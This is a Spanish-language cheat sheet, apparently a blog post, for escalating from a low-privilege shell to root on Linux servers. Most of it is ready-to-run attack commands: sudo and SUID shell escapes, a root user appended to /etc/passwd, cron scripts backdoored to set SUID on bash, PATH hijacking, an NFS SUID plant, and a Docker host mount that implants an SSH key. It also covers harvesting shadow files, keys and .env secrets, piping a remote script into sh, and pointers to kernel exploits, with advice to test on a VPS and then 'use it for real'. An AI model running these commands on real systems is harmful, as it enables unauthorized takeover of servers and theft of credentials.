La escalada de privilegios en Linux es el paso entre conseguir una shell y ser dueño del servidor. Llegas como www-data o un usuario de bajo privilegio — el objetivo es root. Esta cheat sheet cubre todas las técnicas que valen la pena conocer en 2026, con comandos que puedes ejecutar inmediatamente.
Practica estas técnicas en una máquina real. Vultr y DigitalOcean ofrecen VPS de $5–6/mes que puedes levantar, romper y destruir. Económico, legal, y se reinicia cuando quieras.
Primero: Enumeración Rápida
Antes de ejecutar cualquier exploit, enumera. Necesitas saber con qué estás trabajando.
# Quién eres
id && whoami && hostname
# Versión de OS y kernel
uname -a
cat /etc/os-release
cat /proc/version
# Qué puedes ejecutar como sudo
sudo -l
# Entorno actual
env
echo $PATH
Herramientas de Enumeración Automatizada
No reinventes la rueda. Estas herramientas hacen el trabajo pesado:
LinPEAS — la más completa, muestra hallazgos con código de colores
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# O transfiere el archivo manualmente y ejecuta:
chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out
LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -t
linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
Ejecuta al menos LinPEAS en cada servidor. Resalta los hallazgos más críticos en rojo.
1. Configuraciones Incorrectas de Sudo
La ruta de escalada más común en CTFs y servidores reales.
sudo -l
Sudo NOPASSWD
Si ves algo como:
(ALL) NOPASSWD: /usr/bin/vim
Puedes escalar:
sudo vim -c ':!/bin/bash'
GTFOBins
Para cada binario que puedas ejecutar como sudo, consulta GTFOBins para el comando de escalada.
Ejemplos comunes:
# find
sudo find . -exec /bin/bash \; -quit
# less
sudo less /etc/passwd
# luego escribe: !/bin/bash
# awk
sudo awk 'BEGIN {system("/bin/bash")}'
# python
sudo python3 -c 'import os; os.system("/bin/bash")'
# nmap (versiones antiguas)
sudo nmap --interactive
# luego: !sh
# perl
sudo perl -e 'exec "/bin/bash";'
# ruby
sudo ruby -e 'exec "/bin/bash"'
# tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# zip
sudo zip /tmp/nothing /etc/passwd -T --unzip-command="sh -c /bin/bash"
Sudo con Abuso de Comodines
Si sudo permite un comando con *:
# Ejemplo: sudo rsync * /tmp/
# Crea un archivo para inyectar flags:
touch -- '--e sh /tmp/shell.sh'
2. Binarios SUID / SGID
Los binarios SUID se ejecutan con los permisos del dueño del archivo (frecuentemente root), independientemente de quién los ejecute.
# Encontrar todos los binarios SUID
find / -perm -u=s -type f 2>/dev/null
# Encontrar binarios SGID
find / -perm -g=s -type f 2>/dev/null
# Combinado
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null
Busca cualquier cosa no estándar. Binarios SUID comúnmente explotables:
# bash con SUID
/bin/bash -p # -p preserva el UID efectivo
# find con SUID
find . -exec /bin/bash -p \; -quit
# cp con SUID — sobreescribir /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'newroot:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su newroot
# vim con SUID
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
# nmap con SUID (versiones antiguas)
nmap --interactive
!sh
# python con SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
3. Cron Jobs
Las tareas programadas ejecutadas como root con scripts escribibles son oro puro.
# Ver crontabs del sistema
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# Ver crontabs del usuario
crontab -l
# Observar procesos generados por cron (usa pspy)
./pspy64
Descargar pspy (no requiere root, observa eventos de procesos):
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64 && ./pspy64
Observa la salida para cron jobs de root. Si ves /opt/backup.sh ejecutándose como UID 0, verifica:
ls -la /opt/backup.sh
# ¿Es escribible por todos?
Si puedes escribir en el script:
echo 'chmod +s /bin/bash' >> /opt/backup.sh
# Espera a que cron lo ejecute, luego:
bash -p
Inyección de PATH vía Cron
Si un script de cron llama binarios sin rutas completas:
# /opt/cleanup.sh contiene: rm -rf /tmp/cache
# PATH en crontab es algo que puedes influenciar
# Crea un 'rm' falso en un directorio que controles:
echo '#!/bin/bash' > /tmp/rm
echo 'chmod +s /bin/bash' >> /tmp/rm
chmod +x /tmp/rm
# Si puedes anteponer /tmp al PATH del cron...
4. /etc/passwd Escribible
Si /etc/passwd es escribible por todos, puedes añadir directamente un usuario de nivel root.
ls -la /etc/passwd
# Generar hash de contraseña
openssl passwd -1 -salt salt password123
# o
python3 -c "import crypt; print(crypt.crypt('password123', crypt.mksalt(crypt.METHOD_SHA512)))"
# Añadir entrada
echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
5. Exploits de Kernel
Último recurso. Los exploits de kernel son ruidosos y pueden crashear sistemas.
uname -r
# Comprueba contra bases de datos de CVE y exploit-db
# Ejecuta linux-exploit-suggester para recomendaciones automatizadas
./linux-exploit-suggester.sh
Vulnerabilidades de kernel recientes que conviene conocer:
- DirtyPipe (CVE-2022-0847) — sobreescribir archivos de solo lectura, Linux 5.8-5.16
- PwnKit (CVE-2021-4034) — escalada de privilegios local en pkexec, prácticamente universal
- DirtyCow (CVE-2016-5195) — antiguo pero presente en sistemas sin parchear
# PwnKit — si pkexec está presente y sin parchear
# Verifica versión: pkexec --version
# Exploit disponible en github: ly4k/PwnKit
# DirtyPipe (CVE-2022-0847)
# Verifica kernel: uname -r (necesita 5.8-5.16.11)
# Exploit: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
Siempre prueba en una instancia desechable primero. Vultr es bueno para esto — levanta una versión de kernel coincidente, prueba tu exploit, luego úsalo en serio.
6. Secuestro de PATH
Si un binario SUID o script propiedad de root llama comandos del sistema sin rutas completas:
# Usa strings en el binario para ver qué llama
strings /usr/local/bin/backup
# Salida: "cp /var/backup..."
# 'cp' se llama sin ruta completa
# Crea un 'cp' malicioso en /tmp
echo '#!/bin/bash' > /tmp/cp
echo 'chmod +s /bin/bash' >> /tmp/cp
chmod +x /tmp/cp
# Antepone /tmp al PATH
export PATH=/tmp:$PATH
# Ejecuta el binario vulnerable
/usr/local/bin/backup
# Obtén shell root
/bin/bash -p
7. Capabilities
Las capabilities de Linux son una forma granular de asignar privilegios a nivel root a binarios específicos. Frecuentemente mal configuradas.
# Encontrar binarios con capabilities
getcap -r / 2>/dev/null
Capabilities peligrosas comunes:
# cap_setuid+ep en python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid en perl
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
# cap_net_raw en tcpdump — esnifar como no-root
tcpdump -i eth0
# cap_dac_override — evitar comprobaciones de permisos de archivos
# Puede leer/escribir cualquier archivo
# cap_sys_admin — muy poderoso, casi igual que root
8. NFS No_root_squash
Si un recurso compartido NFS remoto tiene no_root_squash, los archivos que crees como root en tu máquina serán propiedad de root en el objetivo.
# Verificar recursos compartidos NFS en el objetivo
cat /etc/exports
showmount -e localhost
# Si ves: /share *(rw,no_root_squash)
# Montar en la máquina atacante:
mount -t nfs target_ip:/share /mnt/nfs
# Crear binario SUID en el atacante:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# En el objetivo:
/share/bash -p
9. Docker / Escape de Contenedor
Si el usuario actual está en el grupo docker:
# Verificar grupos
id
# Si el grupo docker está presente:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Ahora eres root dentro del contenedor con el sistema de archivos del host montado en /mnt. Puedes leer /etc/shadow, añadir claves SSH, etc.
# Añadir tu clave SSH a authorized_keys de root
mkdir -p /mnt/root/.ssh
echo 'tu-clave-publica' >> /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys
10. Permisos de Archivos Débiles
Verifica archivos sensibles legibles y archivos del sistema escribibles.
# Archivos escribibles por todos (excluyendo /proc, /sys, /dev)
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v dev
# Archivo shadow legible
cat /etc/shadow
# Claves SSH legibles
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Archivos de configuración con credenciales
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name "*.env" -readable 2>/dev/null
find / -name "wp-config.php" -readable 2>/dev/null
11. Enumeración de Servicios y Procesos
Busca servicios ejecutándose como root que tengan exploits conocidos o configuraciones débiles.
# Procesos en ejecución
ps aux
ps aux | grep root
# Servicios en escucha (puede exponer puertos internos no visibles externamente)
netstat -tlnp 2>/dev/null || ss -tlnp
netstat -anp 2>/dev/null
# Configuración de servicios
ls /etc/systemd/system/
cat /etc/systemd/system/*.service 2>/dev/null | grep -i exec
12. Credenciales Almacenadas e Historial
La gente pone contraseñas en el historial de bash y en archivos de configuración constantemente.
# Historial de comandos
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
# Buscar credenciales en ubicaciones comunes
grep -ri "password" /home/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "passwd" /etc/ 2>/dev/null
# Archivos .env
find / -name ".env" -readable 2>/dev/null | xargs cat 2>/dev/null
# Configuración SSH
cat ~/.ssh/config
cat /etc/ssh/sshd_config
# Verificar últimos inicios de sesión
last
lastlog
Tabla de Referencia Rápida
| Técnica | Comando de Verificación | Explotar Cuando |
|---|---|---|
| Sudo mal configurado | sudo -l | Existen entradas NOPASSWD |
| Binarios SUID | find / -perm -u=s -type f 2>/dev/null | Se encuentra binario SUID no estándar |
| Cron escribible | cat /etc/crontab; ./pspy64 | Cron de root llama script escribible |
| /etc/passwd escribible | ls -la /etc/passwd | Escribible por todos |
| Exploit de kernel | uname -r + exploit-suggester | Existe CVE coincidente |
| Secuestro de PATH | strings <suid-binary> | Se encuentran llamadas a binarios relativos |
| Capabilities | getcap -r / 2>/dev/null | cap_setuid o similar |
| NFS squash | cat /etc/exports | no_root_squash presente |
| Grupo Docker | id | Membresía en grupo docker |
| Permisos débiles | find / -writable -type f | Archivos del sistema escribibles |
Metodología: En Qué Orden Verificar
sudo -l— victoria más rápida si existe NOPASSWDid— verificar grupos docker, lxd, adm, disk- LinPEAS — que encuentre lo que te perdiste
- SUID/SGID — búsqueda en GTFOBins
- Cron jobs + pspy — observar procesos
- Capabilities — frecuentemente ignoradas
- Versión de kernel — exploit-suggester como último recurso
- Búsqueda manual de configs/credenciales
Entornos de Práctica
La forma más rápida de mejorar en privesc es el volumen. Haz 5–10 máquinas enfocadas específicamente en privesc de Linux.
Plataformas CTF:
- HackTheBox — máquinas de privesc Linux en el track “Starting Point”
- TryHackMe — salas dedicadas de Linux PrivEsc (nivel gratuito disponible)
- PentesterLab — laboratorios estructurados con write-ups
Tu Propio Laboratorio: Levanta un VPS, configúralo intencionalmente mal, y practica. Vultr comienza desde $6/mes. DigitalOcean es similar. Ambos te dan un entorno Ubuntu/Debian/CentOS limpio en menos de 60 segundos.
No solo leas esta cheat sheet — ejecuta estos comandos hasta que los tengas en la memoria muscular.
Lectura Adicional
- GTFOBins — la autoridad en escalada basada en binarios
- PayloadsAllTheThings - Linux PrivEsc
- HackTricks Linux PrivEsc
¿Necesitas esto redactado como un reporte de pentest completo o una evaluación de seguridad personalizada? CipherWrite entrega contenido de ciberseguridad de nivel profesional — guías, whitepapers y reportes técnicos.